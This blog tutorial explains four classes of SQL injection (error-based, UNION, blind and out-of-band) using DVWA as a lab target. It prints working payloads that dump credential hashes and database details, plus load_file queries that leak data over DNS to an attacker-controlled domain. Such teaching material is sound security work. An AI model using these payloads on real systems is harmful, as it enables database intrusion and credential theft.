Common SQL Injection Attacks

Apr 23, 2019 • Satyam Singh


SQL Injection attacks are still a threat to current web applications, despite their long history. In this article we discuss the most common SQL Injection attack techniques with concrete examples from DVWA (Damn Vulnerable Web Application).


What is SQL Injection?

SQL Injection is a technique that allows an adversary to insert arbitrary SQL commands in the queries that a web application makes to its database. It can work on vulnerable webpages and apps that use a backend database like MySQL, Oracle and MSSQL.

A successful attack can lead to unauthorized access to sensitive information in the database or to modifying entries (add/delete/update), depending on the type of the affected database. It also may be possible to use SQL Injection to bypass authentication and authorization in the application, shut down or even delete the entire database.

How do SQL Injection attacks work?

We will see some concrete examples of multiple techniques that can be used to exploit SQL Injection vulnerabilities in web applications.

The target application in our case will be Damn Vulnerable Web Application (DVWA), which contains multiple types of vulnerabilities (SQLi, XSS, LFI, etc) and it is an excellent testbed for learning web security.

The types of SQL Injection attacks that we’ll discuss are:

  1. Error-based SQL Injection
  2. UNION-based SQL Injection
  3. Blind SQL Injection
  4. Out-of-band SQL Injection

Error-based SQL Injection:

One of the most common type of SQL Injection vulnerabilities, it is also quite easy to determine. It relies on feeding unexpected commands or invalid input, typically through a user interface, to cause the database server to reply with an error that may contain details about the target: structure, version, operating system, and even to return full query results.

In the example below, the webpage allows fetching the first and last name of the user for a given ID. By submitting 5 as input for the User ID, the application returns user details from the database.

The SQL query used by the application is:

SELECT first_name, last_name FROM users WHERE user_id = '$id';

The server accepts the input from the user and returns the associated values, indicating that an attacker can use malicious input to modify the backend query. Typing 5', the backend responds with an error due to the single quote:

The input from the user modifies the backend query, which becomes:

SELECT first_name, last_name FROM users WHERE user_id = '5''; (note the extra quote here)

Doing the same queries directly on the database server (just for testing purposes), the same results are visible:

Exploiting error-based SQL Injection relies on the fact that the injected SQL query will output the results into the error message returned by the database. For instance, by injecting the following payload into the User ID field:

0' AND (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT @@version), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y) -- '

will cause the application to return the following SQL error message (containing the value of the @@version variable):

Error: Duplicate entry '10.1.36-MariaDB#0' for key 'group_key'

The error is generated because GROUP BY requires unique group keys, which is intentionally not-unique to return the value of SELECT @@version in the error message.

UNION-based SQL Injection:

The UNION operator extends the results returned by the original query, enabling users to run two or more statements if they have the same structure as the original one. We chose SELECT in our example; for the exploit to work, the following conditions are required:

  • Each SELECT statement within UNION has the same number of columns
  • The columns must also have similar data types
  • The columns in each SELECT statement are in the same order

SELECT first_name, last_name FROM users UNION SELECT username, password FROM login;

Here, first_name and last_name are the names of the columns in the table users, and username and password are the names of the columns in the table login.

Running a UNION operator with statements referring to different numbers of columns results in an error message, as with the following payload:

User ID: 1’ UNION SELECT 1;--

However, the query is successful when it has the correct number of columns:

User ID: 1' UNION SELECT 1,2;--

Trying it in the database renders the same output; an incorrect number shows an error and the right values completes the query successfully:

An attacker can test multiple variants until they hit the right one. Next, they can use this method to elicit information about the database version number with the help of the @@version command:

UNION SELECT 1,@@version;--

Similarly, the command current_user() can extract the user type under whose privileges the database is running.

UNION SELECT 1,current_user();--

Further exploiting the vulnerability, we can obtain the name of the tables in the current database along with the same details for the columns in the table that contain information.

To extract the list of tables, we can use:

1' UNION SELECT 1,table_name FROM information_schema.tables;--

To get the column names, we can use:

1' UNION SELECT 1,column_name FROM information_schema.columns;--

Using these two queries, we have extracted the table name users and column names userid, first_name, last_name, user, avatar, last_login, password and failed_login. Now using the query below we can get the usernames and passwords of application users from the database:

1' UNION SELECT 1,concat(user,':',password) FROM users;--

Most likely, the password is not stored in plain text but in hashed form (MD5 in our case). However, an attacker can try cracking it using rainbow tables, which match plain text strings with their hash representation.

Blind SQL Injection:

This type of injection attack does not show any error message, hence “blind” in its name. It is more difficult to exploit as it returns information when the application is given SQL payloads that return a true or false response from the server. By observing the response, an attacker can extract sensitive information.

There are two types of blind SQL Injection: boolean-based and time-based.

Boolean-based Blind SQL Injection:

In this type of attack, a Boolean query causes the application to give a different response for a valid or invalid result in the database. It works by enumerating the characters from the text that needs to be extracted (ex. database name, table name, column name, etc) one by one.

Using the same vulnerable application as before, instead of receiving user details for the provided User ID, the reply shows if the ID is present in the database or not.

As you can see in the image above, we get the message “User ID exists in the database” for values 1-5, while an ID value larger than 5 gets “User ID is MISSING from the database”.

We can try a Boolean-based payload to check if the application is vulnerable. Injecting the payload 1' and 1=1;-- results in a true condition because 1 is a valid ID and the '1=1' is a TRUE statement. So the result returned informs that the ID is present in the database.

Alternatively, feeding the payload 1' and 1=2;-- results in a false condition because 1 is a valid user ID and 1=2 is false; thus, we’re informed that the user ID does not exist in the database.

The scenario above indicates that a blind SQL Injection attack is possible. Moving forward with identifying the number of columns, we use the following payload:

1' and 1=1 UNION SELECT 1;--

The query fails because there are two columns in the table. But when adjusted correctly, the condition becomes true and the message validates the query.

1' and 1=1 UNION SELECT 1,2;--

The same method can be used to discover the version of the database. We get the first number of the database version with:

1' and substring(@@version,1,1)=1;--

The reply is positive because ‘1’ is a valid entry in the database and it is also the first character/number of database version (@@version,1,1). For the second character, we use the following command:

1' and substring(@@version,2,1)=1;--

Since the second character of database version is not 1, there’s a negative result. Asking for a ‘zero’ as the second character in the database version, the message is positive (version number is “10”).

1' and substring(@@version,2,1)=0;--

The next step is to learn the name of the database, which starts by determining the length of the name and then enumerating the characters in the correct order until the right string is hit.

We use the following payloads to determine how long is the name:

1’ and length(database())=1;-- 1’ and length(database())=2;-- 1’ and length(database())=3;-- 1’ and length(database())=4;--

In our case, we received errors for the first three attempts and hit the right value on the fourth. This means that name of the database is four characters long.

To enumerate the characters in the name of the database, we use these payloads:

1' and substring(database(),1,1)='a';-- 1' and substring(database(),1,1)='b';-- 1' and substring(database(),1,1)='c';--

None of the commands were correct because ‘d’ is first letter in the name.

Moving towards identifying the second character, we use the command

1' and substring(database(),2,1)='v';--

And for the third, we run:

1' and substring(database(),3,1)='w';--

While the fourth is discovered using:

1' and substring(database(),4,1)='a';--

In the end, the name of the database is “dvwa.”

Time-based Blind SQL Injection

This type of blind SQL Injection relies on waiting for a specific period before a vulnerable application responds to an attacker’s queries tailored with a time delay value.

The success of the attack is based on the time taken by the application to deliver the response. To check the time-based blind SQL Injection we use this command:

1' AND sleep(10);--

Because we forced a delayed response of 10 seconds, the reply comes when this period expires.

With confirmation of the vulnerability, we can proceed to extracting the database version number. We used a command that forces a reply after two seconds:

1' and if((select+@@version) like "10%",sleep(2),null);--+

If the response comes in two seconds, it means that the version starts with “10.” The “like” string operator we used in the query is designed to make a character-by-character comparison.

Out-of-band SQL Injection

With this type of SQL Injection, the application shows the same response regardless of the user input and the database error. To retrieve the output, a different transport channel like HTTP requests or DNS resolution is used; note that the attacker needs to control said HTTP or DNS server.

Exfiltrating information about a MYSQL database, an attacker can use these queries:

Database version:

1’;select load_file(concat('\\\\',version(),'\\s.txt'));

Database name:

1’;select load_file(concat('\\\\',database(),'\\s.txt'));

The two commands above concatenate the output of version() or database() commands into the DNS resolutions query for the domain “”.

The image below shows how the version and name of the database have been added to the DNS info for the malicious domain. The attacker that controls the server can read the information from the log files.